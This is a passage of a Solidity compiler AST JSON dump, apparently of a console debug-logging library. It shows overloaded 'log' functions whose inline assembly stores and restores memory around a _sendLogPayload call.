(uint256,uint256) pure"}},"id":36376,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"83870:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":36377,"nodeType":"ExpressionStatement","src":"83870:27:22"},{"AST":{"nativeSrc":"83916:156:22","nodeType":"YulBlock","src":"83916:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"83937:4:22","nodeType":"YulLiteral","src":"83937:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"83943:2:22","nodeType":"YulIdentifier","src":"83943:2:22"}],"functionName":{"name":"mstore","nativeSrc":"83930:6:22","nodeType":"YulIdentifier","src":"83930:6:22"},"nativeSrc":"83930:16:22","nodeType":"YulFunctionCall","src":"83930:16:22"},"nativeSrc":"83930:16:22","nodeType":"YulExpressionStatement","src":"83930:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"83966:4:22","nodeType":"YulLiteral","src":"83966:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"83972:2:22","nodeType":"YulIdentifier","src":"83972:2:22"}],"functionName":{"name":"mstore","nativeSrc":"83959:6:22","nodeType":"YulIdentifier","src":"83959:6:22"},"nativeSrc":"83959:16:22","nodeType":"YulFunctionCall","src":"83959:16:22"},"nativeSrc":"83959:16:22","nodeType":"YulExpressionStatement","src":"83959:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"83995:4:22","nodeType":"YulLiteral","src":"83995:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"84001:2:22","nodeType":"YulIdentifier","src":"84001:2:22"}],"functionName":{"name":"mstore","nativeSrc":"83988:6:22","nodeType":"YulIdentifier","src":"83988:6:22"},"nativeSrc":"83988:16:22","nodeType":"YulFunctionCall","src":"83988:16:22"},"nativeSrc":"83988:16:22","nodeType":"YulExpressionStatement","src":"83988:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"84024:4:22","nodeType":"YulLiteral","src":"84024:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"84030:2:22","nodeType":"YulIdentifier","src":"84030:2:22"}],"functionName":{"name":"mstore","nativeSrc":"84017:6:22","nodeType":"YulIdentifier","src":"84017:6:22"},"nativeSrc":"84017:16:22","nodeType":"YulFunctionCall","src":"84017:16:22"},"nativeSrc":"84017:16:22","nodeType":"YulExpressionStatement","src":"84017:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"84053:4:22","nodeType":"YulLiteral","src":"84053:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"84059:2:22","nodeType":"YulIdentifier","src":"84059:2:22"}],"functionName":{"name":"mstore","nativeSrc":"84046:6:22","nodeType":"YulIdentifier","src":"84046:6:22"},"nativeSrc":"84046:16:22","nodeType":"YulFunctionCall","src":"84046:16:22"},"nativeSrc":"84046:16:22","nodeType":"YulExpressionStatement","src":"84046:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36358,"isOffset":false,"isSlot":false,"src":"83943:2:22","valueSize":1},{"declaration":36361,"isOffset":false,"isSlot":false,"src":"83972:2:22","valueSize":1},{"declaration":36364,"isOffset":false,"isSlot":false,"src":"84001:2:22","valueSize":1},{"declaration":36367,"isOffset":false,"isSlot":false,"src":"84030:2:22","valueSize":1},{"declaration":36370,"isOffset":false,"isSlot":false,"src":"84059:2:22","valueSize":1}],"id":36378,"nodeType":"InlineAssembly","src":"83907:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"83295:3:22","parameters":{"id":36355,"nodeType":"ParameterList","parameters":[{"constant":false,"id":36348,"mutability":"mutable","name":"p0","nameLocation":"83307:2:22","nodeType":"VariableDeclaration","scope":36380,"src":"83299:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36347,"name":"address","nodeType":"ElementaryTypeName","src":"83299:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36350,"mutability":"mutable","name":"p1","nameLocation":"83319:2:22","nodeType":"VariableDeclaration","scope":36380,"src":"83311:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36349,"name":"address","nodeType":"ElementaryTypeName","src":"83311:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36352,"mutability":"mutable","name":"p2","nameLocation":"83331:2:22","nodeType":"VariableDeclaration","scope":36380,"src":"83323:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36351,"name":"address","nodeType":"ElementaryTypeName","src":"83323:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36354,"mutability":"mutable","name":"p3","nameLocation":"83343:2:22","nodeType":"VariableDeclaration","scope":36380,"src":"83335:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36353,"name":"address","nodeType":"ElementaryTypeName","src":"83335:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"83298:48:22"},"returnParameters":{"id":36356,"nodeType":"ParameterList","parameters":[],"src":"83361:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":36414,"nodeType":"FunctionDefinition","src":"84084:786:22","nodes":[],"body":{"id":36413,"nodeType":"Block","src":"84156:714:22","nodes":[],"statements":[{"assignments":[36392],"declarations":[{"constant":false,"id":36392,"mutability":"mutable","name":"m0","nameLocation":"84174:2:22","nodeType":"VariableDeclaration","scope":36413,"src":"84166:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36391,"name":"bytes32","nodeType":"ElementaryTypeName","src":"84166:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36393,"nodeType":"VariableDeclarationStatement","src":"84166:10:22"},{"assignments":[36395],"declarations":[{"constant":false,"id":36395,"mutability":"mutable","name":"m1","nameLocation":"84194:2:22","nodeType":"VariableDeclaration","scope":36413,"src":"84186:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36394,"name":"bytes32","nodeType":"ElementaryTypeName","src":"84186:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36396,"nodeType":"VariableDeclarationStatement","src":"84186:10:22"},{"assignments":[36398],"declarations":[{"constant":false,"id":36398,"mutability":"mutable","name":"m2","nameLocation":"84214:2:22","nodeType":"VariableDeclaration","scope":36413,"src":"84206:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36397,"name":"bytes32","nodeType":"ElementaryTypeName","src":"84206:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36399,"nodeType":"VariableDeclarationStatement","src":"84206:10:22"},{"assignments":[36401],"declarations":[{"constant":false,"id":36401,"mutability":"mutable","name":"m3","nameLocation":"84234:2:22","nodeType":"VariableDeclaration","scope":36413,"src":"84226:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36400,"name":"bytes32","nodeType":"ElementaryTypeName","src":"84226:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36402,"nodeType":"VariableDeclarationStatement","src":"84226:10:22"},{"assignments":[36404],"declarations":[{"constant":false,"id":36404,"mutability":"mutable","name":"m4","nameLocation":"84254:2:22","nodeType":"VariableDeclaration","scope":36413,"src":"84246:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36403,"name":"bytes32","nodeType":"ElementaryTypeName","src":"84246:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36405,"nodeType":"VariableDeclarationStatement","src":"84246:10:22"},{"AST":{"nativeSrc":"84275:378:22","nodeType":"YulBlock","src":"84275:378:22","statements":[{"nativeSrc":"84289:17:22","nodeType":"YulAssignment","src":"84289:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"84301:4:22","nodeType":"YulLiteral","src":"84301:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"84295:5:22","nodeType":"YulIdentifier","src":"84295:5:22"},"nativeSrc":"84295:11:22","nodeType":"YulFunctionCall","src":"84295:11:22"},"variableNames":[{"name":"m0","nativeSrc":"84289:2:22","nodeType":"YulIdentifier","src":"84289:2:22"}]},{"nativeSrc":"84319:17:22","nodeType":"YulAssignment","src":"84319:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"84331:4:22","nodeType":"YulLiteral","src":"84331:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"84325:5:22","nodeType":"YulIdentifier","src":"84325:5:22"},"nativeSrc":"84325:11:22","nodeType":"YulFunctionCall","src":"84325:11:22"},"variableNames":[{"name":"m1","nativeSrc":"84319:2:22","nodeType":"YulIdentifier","src":"84319:2:22"}]},{"nativeSrc":"84349:17:22","nodeType":"YulAssignment","src":"84349:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"84361:4:22","nodeType":"YulLiteral","src":"84361:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"84355:5:22","nodeType":"YulIdentifier","src":"84355:5:22"},"nativeSrc":"84355:11:22","nodeType":"YulFunctionCall","src":"84355:11:22"},"variableNames":[{"name":"m2","nativeSrc":"84349:2:22","nodeType":"YulIdentifier","src":"84349:2:22"}]},{"nativeSrc":"84379:17:22","nodeType":"YulAssignment","src":"84379:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"84391:4:22","nodeType":"YulLiteral","src":"84391:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"84385:5:22","nodeType":"YulIdentifier","src":"84385:5:22"},"nativeSrc":"84385:11:22","nodeType":"YulFunctionCall","src":"84385:11:22"},"variableNames":[{"name":"m3","nativeSrc":"84379:2:22","nodeType":"YulIdentifier","src":"84379:2:22"}]},{"nativeSrc":"84409:17:22","nodeType":"YulAssignment","src":"84409:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"84421:4:22","nodeType":"YulLiteral","src":"84421:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"84415:5:22","nodeType":"YulIdentifier","src":"84415:5:22"},"nativeSrc":"84415:11:22","nodeType":"YulFunctionCall","src":"84415:11:22"},"variableNames":[{"name":"m4","nativeSrc":"84409:2:22","nodeType":"YulIdentifier","src":"84409:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"84510:4:22","nodeType":"YulLiteral","src":"84510:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"84516:10:22","nodeType":"YulLiteral","src":"84516:10:22","type":"","value":"0x0e378994"}],"functionName":{"name":"mstore","nativeSrc":"84503:6:22","nodeType":"YulIdentifier","src":"84503:6:22"},"nativeSrc":"84503:24:22","nodeType":"YulFunctionCall","src":"84503:24:22"},"nativeSrc":"84503:24:22","nodeType":"YulExpressionStatement","src":"84503:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"84547:4:22","nodeType":"YulLiteral","src":"84547:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"84553:2:22","nodeType":"YulIdentifier","src":"84553:2:22"}],"functionName":{"name":"mstore","nativeSrc":"84540:6:22","nodeType":"YulIdentifier","src":"84540:6:22"},"nativeSrc":"84540:16:22","nodeType":"YulFunctionCall","src":"84540:16:22"},"nativeSrc":"84540:16:22","nodeType":"YulExpressionStatement","src":"84540:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"84576:4:22","nodeType":"YulLiteral","src":"84576:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"84582:2:22","nodeType":"YulIdentifier","src":"84582:2:22"}],"functionName":{"name":"mstore","nativeSrc":"84569:6:22","nodeType":"YulIdentifier","src":"84569:6:22"},"nativeSrc":"84569:16:22","nodeType":"YulFunctionCall","src":"84569:16:22"},"nativeSrc":"84569:16:22","nodeType":"YulExpressionStatement","src":"84569:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"84605:4:22","nodeType":"YulLiteral","src":"84605:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"84611:2:22","nodeType":"YulIdentifier","src":"84611:2:22"}],"functionName":{"name":"mstore","nativeSrc":"84598:6:22","nodeType":"YulIdentifier","src":"84598:6:22"},"nativeSrc":"84598:16:22","nodeType":"YulFunctionCall","src":"84598:16:22"},"nativeSrc":"84598:16:22","nodeType":"YulExpressionStatement","src":"84598:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"84634:4:22","nodeType":"YulLiteral","src":"84634:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"84640:2:22","nodeType":"YulIdentifier","src":"84640:2:22"}],"functionName":{"name":"mstore","nativeSrc":"84627:6:22","nodeType":"YulIdentifier","src":"84627:6:22"},"nativeSrc":"84627:16:22","nodeType":"YulFunctionCall","src":"84627:16:22"},"nativeSrc":"84627:16:22","nodeType":"YulExpressionStatement","src":"84627:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36392,"isOffset":false,"isSlot":false,"src":"84289:2:22","valueSize":1},{"declaration":36395,"isOffset":false,"isSlot":false,"src":"84319:2:22","valueSize":1},{"declaration":36398,"isOffset":false,"isSlot":false,"src":"84349:2:22","valueSize":1},{"declaration":36401,"isOffset":false,"isSlot":false,"src":"84379:2:22","valueSize":1},{"declaration":36404,"isOffset":false,"isSlot":false,"src":"84409:2:22","valueSize":1},{"declaration":36382,"isOffset":false,"isSlot":false,"src":"84553:2:22","valueSize":1},{"declaration":36384,"isOffset":false,"isSlot":false,"src":"84582:2:22","valueSize":1},{"declaration":36386,"isOffset":false,"isSlot":false,"src":"84611:2:22","valueSize":1},{"declaration":36388,"isOffset":false,"isSlot":false,"src":"84640:2:22","valueSize":1}],"id":36406,"nodeType":"InlineAssembly","src":"84266:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":36408,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"84678:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":36409,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"84684:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":36407,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"84662:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":36410,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"84662:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":36411,"nodeType":"ExpressionStatement","src":"84662:27:22"},{"AST":{"nativeSrc":"84708:156:22","nodeType":"YulBlock","src":"84708:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"84729:4:22","nodeType":"YulLiteral","src":"84729:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"84735:2:22","nodeType":"YulIdentifier","src":"84735:2:22"}],"functionName":{"name":"mstore","nativeSrc":"84722:6:22","nodeType":"YulIdentifier","src":"84722:6:22"},"nativeSrc":"84722:16:22","nodeType":"YulFunctionCall","src":"84722:16:22"},"nativeSrc":"84722:16:22","nodeType":"YulExpressionStatement","src":"84722:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"84758:4:22","nodeType":"YulLiteral","src":"84758:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"84764:2:22","nodeType":"YulIdentifier","src":"84764:2:22"}],"functionName":{"name":"mstore","nativeSrc":"84751:6:22","nodeType":"YulIdentifier","src":"84751:6:22"},"nativeSrc":"84751:16:22","nodeType":"YulFunctionCall","src":"84751:16:22"},"nativeSrc":"84751:16:22","nodeType":"YulExpressionStatement","src":"84751:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"84787:4:22","nodeType":"YulLiteral","src":"84787:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"84793:2:22","nodeType":"YulIdentifier","src":"84793:2:22"}],"functionName":{"name":"mstore","nativeSrc":"84780:6:22","nodeType":"YulIdentifier","src":"84780:6:22"},"nativeSrc":"84780:16:22","nodeType":"YulFunctionCall","src":"84780:16:22"},"nativeSrc":"84780:16:22","nodeType":"YulExpressionStatement","src":"84780:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"84816:4:22","nodeType":"YulLiteral","src":"84816:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"84822:2:22","nodeType":"YulIdentifier","src":"84822:2:22"}],"functionName":{"name":"mstore","nativeSrc":"84809:6:22","nodeType":"YulIdentifier","src":"84809:6:22"},"nativeSrc":"84809:16:22","nodeType":"YulFunctionCall","src":"84809:16:22"},"nativeSrc":"84809:16:22","nodeType":"YulExpressionStatement","src":"84809:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"84845:4:22","nodeType":"YulLiteral","src":"84845:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"84851:2:22","nodeType":"YulIdentifier","src":"84851:2:22"}],"functionName":{"name":"mstore","nativeSrc":"84838:6:22","nodeType":"YulIdentifier","src":"84838:6:22"},"nativeSrc":"84838:16:22","nodeType":"YulFunctionCall","src":"84838:16:22"},"nativeSrc":"84838:16:22","nodeType":"YulExpressionStatement","src":"84838:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36392,"isOffset":false,"isSlot":false,"src":"84735:2:22","valueSize":1},{"declaration":36395,"isOffset":false,"isSlot":false,"src":"84764:2:22","valueSize":1},{"declaration":36398,"isOffset":false,"isSlot":false,"src":"84793:2:22","valueSize":1},{"declaration":36401,"isOffset":false,"isSlot":false,"src":"84822:2:22","valueSize":1},{"declaration":36404,"isOffset":false,"isSlot":false,"src":"84851:2:22","valueSize":1}],"id":36412,"nodeType":"InlineAssembly","src":"84699:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"84093:3:22","parameters":{"id":36389,"nodeType":"ParameterList","parameters":[{"constant":false,"id":36382,"mutability":"mutable","name":"p0","nameLocation":"84105:2:22","nodeType":"VariableDeclaration","scope":36414,"src":"84097:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36381,"name":"address","nodeType":"ElementaryTypeName","src":"84097:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36384,"mutability":"mutable","name":"p1","nameLocation":"84117:2:22","nodeType":"VariableDeclaration","scope":36414,"src":"84109:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36383,"name":"address","nodeType":"ElementaryTypeName","src":"84109:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36386,"mutability":"mutable","name":"p2","nameLocation":"84129:2:22","nodeType":"VariableDeclaration","scope":36414,"src":"84121:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36385,"name":"address","nodeType":"ElementaryTypeName","src":"84121:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36388,"mutability":"mutable","name":"p3","nameLocation":"84138:2:22","nodeType":"VariableDeclaration","scope":36414,"src":"84133:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":36387,"name":"bool","nodeType":"ElementaryTypeName","src":"84133:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"84096:45:22"},"returnParameters":{"id":36390,"nodeType":"ParameterList","parameters":[],"src":"84156:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":36448,"nodeType":"FunctionDefinition","src":"84876:792:22","nodes":[],"body":{"id":36447,"nodeType":"Block","src":"84951:717:22","nodes":[],"statements":[{"assignments":[36426],"declarations":[{"constant":false,"id":36426,"mutability":"mutable","name":"m0","nameLocation":"84969:2:22","nodeType":"VariableDeclaration","scope":36447,"src":"84961:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36425,"name":"bytes32","nodeType":"ElementaryTypeName","src":"84961:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36427,"nodeType":"VariableDeclarationStatement","src":"84961:10:22"},{"assignments":[36429],"declarations":[{"constant":false,"id":36429,"mutability":"mutable","name":"m1","nameLocation":"84989:2:22","nodeType":"VariableDeclaration","scope":36447,"src":"84981:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36428,"name":"bytes32","nodeType":"ElementaryTypeName","src":"84981:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36430,"nodeType":"VariableDeclarationStatement","src":"84981:10:22"},{"assignments":[36432],"declarations":[{"constant":false,"id":36432,"mutability":"mutable","name":"m2","nameLocation":"85009:2:22","nodeType":"VariableDeclaration","scope":36447,"src":"85001:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36431,"name":"bytes32","nodeType":"ElementaryTypeName","src":"85001:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36433,"nodeType":"VariableDeclarationStatement","src":"85001:10:22"},{"assignments":[36435],"declarations":[{"constant":false,"id":36435,"mutability":"mutable","name":"m3","nameLocation":"85029:2:22","nodeType":"VariableDeclaration","scope":36447,"src":"85021:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36434,"name":"bytes32","nodeType":"ElementaryTypeName","src":"85021:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36436,"nodeType":"VariableDeclarationStatement","src":"85021:10:22"},{"assignments":[36438],"declarations":[{"constant":false,"id":36438,"mutability":"mutable","name":"m4","nameLocation":"85049:2:22","nodeType":"VariableDeclaration","scope":36447,"src":"85041:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36437,"name":"bytes32","nodeType":"ElementaryTypeName","src":"85041:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36439,"nodeType":"VariableDeclarationStatement","src":"85041:10:22"},{"AST":{"nativeSrc":"85070:381:22","nodeType":"YulBlock","src":"85070:381:22","statements":[{"nativeSrc":"85084:17:22","nodeType":"YulAssignment","src":"85084:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"85096:4:22","nodeType":"YulLiteral","src":"85096:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"85090:5:22","nodeType":"YulIdentifier","src":"85090:5:22"},"nativeSrc":"85090:11:22","nodeType":"YulFunctionCall","src":"85090:11:22"},"variableNames":[{"name":"m0","nativeSrc":"85084:2:22","nodeType":"YulIdentifier","src":"85084:2:22"}]},{"nativeSrc":"85114:17:22","nodeType":"YulAssignment","src":"85114:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"85126:4:22","nodeType":"YulLiteral","src":"85126:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"85120:5:22","nodeType":"YulIdentifier","src":"85120:5:22"},"nativeSrc":"85120:11:22","nodeType":"YulFunctionCall","src":"85120:11:22"},"variableNames":[{"name":"m1","nativeSrc":"85114:2:22","nodeType":"YulIdentifier","src":"85114:2:22"}]},{"nativeSrc":"85144:17:22","nodeType":"YulAssignment","src":"85144:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"85156:4:22","nodeType":"YulLiteral","src":"85156:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"85150:5:22","nodeType":"YulIdentifier","src":"85150:5:22"},"nativeSrc":"85150:11:22","nodeType":"YulFunctionCall","src":"85150:11:22"},"variableNames":[{"name":"m2","nativeSrc":"85144:2:22","nodeType":"YulIdentifier","src":"85144:2:22"}]},{"nativeSrc":"85174:17:22","nodeType":"YulAssignment","src":"85174:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"85186:4:22","nodeType":"YulLiteral","src":"85186:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"85180:5:22","nodeType":"YulIdentifier","src":"85180:5:22"},"nativeSrc":"85180:11:22","nodeType":"YulFunctionCall","src":"85180:11:22"},"variableNames":[{"name":"m3","nativeSrc":"85174:2:22","nodeType":"YulIdentifier","src":"85174:2:22"}]},{"nativeSrc":"85204:17:22","nodeType":"YulAssignment","src":"85204:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"85216:4:22","nodeType":"YulLiteral","src":"85216:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"85210:5:22","nodeType":"YulIdentifier","src":"85210:5:22"},"nativeSrc":"85210:11:22","nodeType":"YulFunctionCall","src":"85210:11:22"},"variableNames":[{"name":"m4","nativeSrc":"85204:2:22","nodeType":"YulIdentifier","src":"85204:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"85308:4:22","nodeType":"YulLiteral","src":"85308:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"85314:10:22","nodeType":"YulLiteral","src":"85314:10:22","type":"","value":"0x94250d77"}],"functionName":{"name":"mstore","nativeSrc":"85301:6:22","nodeType":"YulIdentifier","src":"85301:6:22"},"nativeSrc":"85301:24:22","nodeType":"YulFunctionCall","src":"85301:24:22"},"nativeSrc":"85301:24:22","nodeType":"YulExpressionStatement","src":"85301:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"85345:4:22","nodeType":"YulLiteral","src":"85345:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"85351:2:22","nodeType":"YulIdentifier","src":"85351:2:22"}],"functionName":{"name":"mstore","nativeSrc":"85338:6:22","nodeType":"YulIdentifier","src":"85338:6:22"},"nativeSrc":"85338:16:22","nodeType":"YulFunctionCall","src":"85338:16:22"},"nativeSrc":"85338:16:22","nodeType":"YulExpressionStatement","src":"85338:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"85374:4:22","nodeType":"YulLiteral","src":"85374:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"85380:2:22","nodeType":"YulIdentifier","src":"85380:2:22"}],"functionName":{"name":"mstore","nativeSrc":"85367:6:22","nodeType":"YulIdentifier","src":"85367:6:22"},"nativeSrc":"85367:16:22","nodeType":"YulFunctionCall","src":"85367:16:22"},"nativeSrc":"85367:16:22","nodeType":"YulExpressionStatement","src":"85367:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"85403:4:22","nodeType":"YulLiteral","src":"85403:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"85409:2:22","nodeType":"YulIdentifier","src":"85409:2:22"}],"functionName":{"name":"mstore","nativeSrc":"85396:6:22","nodeType":"YulIdentifier","src":"85396:6:22"},"nativeSrc":"85396:16:22","nodeType":"YulFunctionCall","src":"85396:16:22"},"nativeSrc":"85396:16:22","nodeType":"YulExpressionStatement","src":"85396:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"85432:4:22","nodeType":"YulLiteral","src":"85432:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"85438:2:22","nodeType":"YulIdentifier","src":"85438:2:22"}],"functionName":{"name":"mstore","nativeSrc":"85425:6:22","nodeType":"YulIdentifier","src":"85425:6:22"},"nativeSrc":"85425:16:22","nodeType":"YulFunctionCall","src":"85425:16:22"},"nativeSrc":"85425:16:22","nodeType":"YulExpressionStatement","src":"85425:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36426,"isOffset":false,"isSlot":false,"src":"85084:2:22","valueSize":1},{"declaration":36429,"isOffset":false,"isSlot":false,"src":"85114:2:22","valueSize":1},{"declaration":36432,"isOffset":false,"isSlot":false,"src":"85144:2:22","valueSize":1},{"declaration":36